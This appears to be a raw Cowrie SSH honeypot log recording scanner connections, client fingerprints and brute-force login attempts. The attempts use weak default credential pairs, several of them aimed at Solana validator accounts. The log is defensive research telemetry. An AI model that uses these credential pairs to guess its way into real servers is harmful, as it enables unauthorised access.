{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:48:20.667675Z","src_ip":"34.124.148.87","session":"dbeef73038a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.5","message":"Connection lost after 7.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:48:20.915345Z","src_ip":"34.124.148.87","session":"93b4ddc8273d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:48:20.919838Z","src_ip":"34.124.148.87","session":"dbeef73038a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.178.210.117","src_port":31541,"dst_ip":"10.17.0.5","dst_port":22,"session":"6415513fea38","protocol":"ssh","message":"New connection: 123.178.210.117:31541 (10.17.0.5:22) [session: 6415513fea38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:49:52.500906Z"}
{"eventid":"cowrie.client.version","version":"\u0016\u0003\u0001\u0000\\xee\u0001\u0000\u0000\\xea\u0003\u0003\\xb7z\u000b'\u001e{\\xbc-\\xbbc\\xe7\"\\xdb1'to\u856c=\\x85]I\\xe2\\xfb@\u0015\u0016gu\\xe6 ]87\\xbf\\xf3|y\u001f\\x89\u0011#[\\x9f\\x89\u0013\\xde\\xc0_\\xd2b\\x8f\r\\xaa\\x8d\\xb3\u0007\\x84\\xe2\\xc6\\xee\\xe8\\xe9\u0000&\\xc0+\\xc0/\\xc0,\\xc00\u0329\u0328\\xc0\t\\xc0\u0013\\xc0","message":"Remote SSH version: \u0016\u0003\u0001\u0000\\xee\u0001\u0000\u0000\\xea\u0003\u0003\\xb7z\u000b'\u001e{\\xbc-\\xbbc\\xe7\"\\xdb1'to\u856c=\\x85]I\\xe2\\xfb@\u0015\u0016gu\\xe6 ]87\\xbf\\xf3|y\u001f\\x89\u0011#[\\x9f\\x89\u0013\\xde\\xc0_\\xd2b\\x8f\r\\xaa\\x8d\\xb3\u0007\\x84\\xe2\\xc6\\xee\\xe8\\xe9\u0000&\\xc0+\\xc0/\\xc0,\\xc00\u0329\u0328\\xc0\t\\xc0\u0013\\xc0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:49:52.504722Z","src_ip":"123.178.210.117","session":"6415513fea38","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:49:52.507866Z","src_ip":"123.178.210.117","session":"6415513fea38","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.138.158.242","src_port":16890,"dst_ip":"10.17.0.5","dst_port":22,"session":"87be2f3a9c52","protocol":"ssh","message":"New connection: 182.138.158.242:16890 (10.17.0.5:22) [session: 87be2f3a9c52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:49:53.122709Z"}
{"eventid":"cowrie.session.connect","src_ip":"123.245.84.157","src_port":18297,"dst_ip":"10.17.0.5","dst_port":22,"session":"f0706633e9af","protocol":"ssh","message":"New connection: 123.245.84.157:18297 (10.17.0.5:22) [session: f0706633e9af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:49:54.508045Z"}
{"eventid":"cowrie.client.version","version":"GET / HTTP/1.1","message":"Remote SSH version: GET / HTTP/1.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:49:54.512891Z","src_ip":"123.245.84.157","session":"f0706633e9af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:49:54.516548Z","src_ip":"123.245.84.157","session":"f0706633e9af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.138.158.157","src_port":28755,"dst_ip":"10.17.0.5","dst_port":22,"session":"f5ea7bd3d09d","protocol":"ssh","message":"New connection: 182.138.158.157:28755 (10.17.0.5:22) [session: f5ea7bd3d09d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:49:55.124889Z"}
{"eventid":"cowrie.client.version","version":"USER anonymous","message":"Remote SSH version: USER anonymous","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:49:55.128940Z","src_ip":"182.138.158.157","session":"f5ea7bd3d09d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:49:55.132401Z","src_ip":"182.138.158.157","session":"f5ea7bd3d09d","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"\u0016\u0003\u0001\u0000\\xee\u0001\u0000\u0000\\xea\u0003\u0003\\x85\u0006{\\xba\\xf5d\\x98\\xfc\\xdee\\x9a\\xe5\\x91\u0018l\\xcd\u00ac\\xa9\\xbdt\u0003\\xaa\\xad\\xe4\\x82)\\xb2\\xa3tq\u0015 \\xa4Vg\\x87\\xe6\\xc6\\xc2ETn\\xa7\u0016\\xc9\u00058\u0012+\\xba\\xeb\re\\xcbrQi>\\xf6\\xe9\\xe8\\x9c\u0017=\u0000&\\xc0+\\xc0/\\xc0,\\xc00\u0329\u0328\\xc0\t\\xc0\u0013\\xc0","message":"Remote SSH version: \u0016\u0003\u0001\u0000\\xee\u0001\u0000\u0000\\xea\u0003\u0003\\x85\u0006{\\xba\\xf5d\\x98\\xfc\\xdee\\x9a\\xe5\\x91\u0018l\\xcd\u00ac\\xa9\\xbdt\u0003\\xaa\\xad\\xe4\\x82)\\xb2\\xa3tq\u0015 \\xa4Vg\\x87\\xe6\\xc6\\xc2ETn\\xa7\u0016\\xc9\u00058\u0012+\\xba\\xeb\re\\xcbrQi>\\xf6\\xe9\\xe8\\x9c\u0017=\u0000&\\xc0+\\xc0/\\xc0,\\xc00\u0329\u0328\\xc0\t\\xc0\u0013\\xc0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:49:55.161666Z","src_ip":"182.138.158.242","session":"87be2f3a9c52","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:49:55.166461Z","src_ip":"182.138.158.242","session":"87be2f3a9c52","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":34186,"dst_ip":"159.203.135.109","dst_port":22,"session":"dd10b0157b61","protocol":"ssh","message":"New connection: 195.178.110.218:34186 (159.203.135.109:22) [session: dd10b0157b61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:50:08.873297Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:50:08.878222Z","src_ip":"195.178.110.218","session":"dd10b0157b61","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:50:08.958453Z","src_ip":"195.178.110.218","session":"dd10b0157b61","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123456","message":"login attempt [solv/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:50:09.201060Z","src_ip":"195.178.110.218","session":"dd10b0157b61","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:50:10.284713Z","src_ip":"195.178.110.218","session":"dd10b0157b61","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":51148,"dst_ip":"10.17.0.5","dst_port":22,"session":"c36338f7a2b4","protocol":"ssh","message":"New connection: 92.118.39.92:51148 (10.17.0.5:22) [session: c36338f7a2b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:50:11.785880Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:50:11.794479Z","src_ip":"92.118.39.92","session":"c36338f7a2b4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:50:11.899620Z","src_ip":"92.118.39.92","session":"c36338f7a2b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"centos","password":"centos","message":"login attempt [centos/centos] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:50:12.213339Z","src_ip":"92.118.39.92","session":"c36338f7a2b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:50:13.330398Z","src_ip":"92.118.39.92","session":"c36338f7a2b4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":39562,"dst_ip":"10.17.0.5","dst_port":22,"session":"fca93d4a785b","protocol":"ssh","message":"New connection: 92.118.39.92:39562 (10.17.0.5:22) [session: fca93d4a785b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:52:22.666409Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:52:22.670964Z","src_ip":"92.118.39.92","session":"fca93d4a785b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:52:22.775088Z","src_ip":"92.118.39.92","session":"fca93d4a785b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"1","message":"login attempt [debian/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:52:23.087105Z","src_ip":"92.118.39.92","session":"fca93d4a785b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:52:24.195951Z","src_ip":"92.118.39.92","session":"fca93d4a785b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":44780,"dst_ip":"159.203.135.109","dst_port":22,"session":"3da681a580c8","protocol":"ssh","message":"New connection: 195.178.110.218:44780 (159.203.135.109:22) [session: 3da681a580c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:52:37.320240Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:52:37.328023Z","src_ip":"195.178.110.218","session":"3da681a580c8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:52:37.408266Z","src_ip":"195.178.110.218","session":"3da681a580c8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"firedancer","message":"login attempt [sol/firedancer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:52:37.649370Z","src_ip":"195.178.110.218","session":"3da681a580c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:52:38.732629Z","src_ip":"195.178.110.218","session":"3da681a580c8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":56206,"dst_ip":"10.17.0.5","dst_port":22,"session":"998cbc170d54","protocol":"ssh","message":"New connection: 92.118.39.92:56206 (10.17.0.5:22) [session: 998cbc170d54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:54:39.480491Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:54:39.484626Z","src_ip":"92.118.39.92","session":"998cbc170d54","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:54:39.588034Z","src_ip":"92.118.39.92","session":"998cbc170d54","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"support","password":"support","message":"login attempt [support/support] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:54:39.902149Z","src_ip":"92.118.39.92","session":"998cbc170d54","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:54:41.008512Z","src_ip":"92.118.39.92","session":"998cbc170d54","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":40138,"dst_ip":"159.203.135.109","dst_port":22,"session":"eea92e6df20f","protocol":"ssh","message":"New connection: 195.178.110.218:40138 (159.203.135.109:22) [session: eea92e6df20f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:55:26.290490Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:55:26.298882Z","src_ip":"195.178.110.218","session":"eea92e6df20f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:55:26.379516Z","src_ip":"195.178.110.218","session":"eea92e6df20f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"root","message":"login attempt [solana/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:55:26.619325Z","src_ip":"195.178.110.218","session":"eea92e6df20f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:55:27.701253Z","src_ip":"195.178.110.218","session":"eea92e6df20f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":44618,"dst_ip":"10.17.0.5","dst_port":22,"session":"f20627e71af7","protocol":"ssh","message":"New connection: 92.118.39.92:44618 (10.17.0.5:22) [session: f20627e71af7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:56:58.300590Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:56:58.305628Z","src_ip":"92.118.39.92","session":"f20627e71af7","protocol":"ssh"}
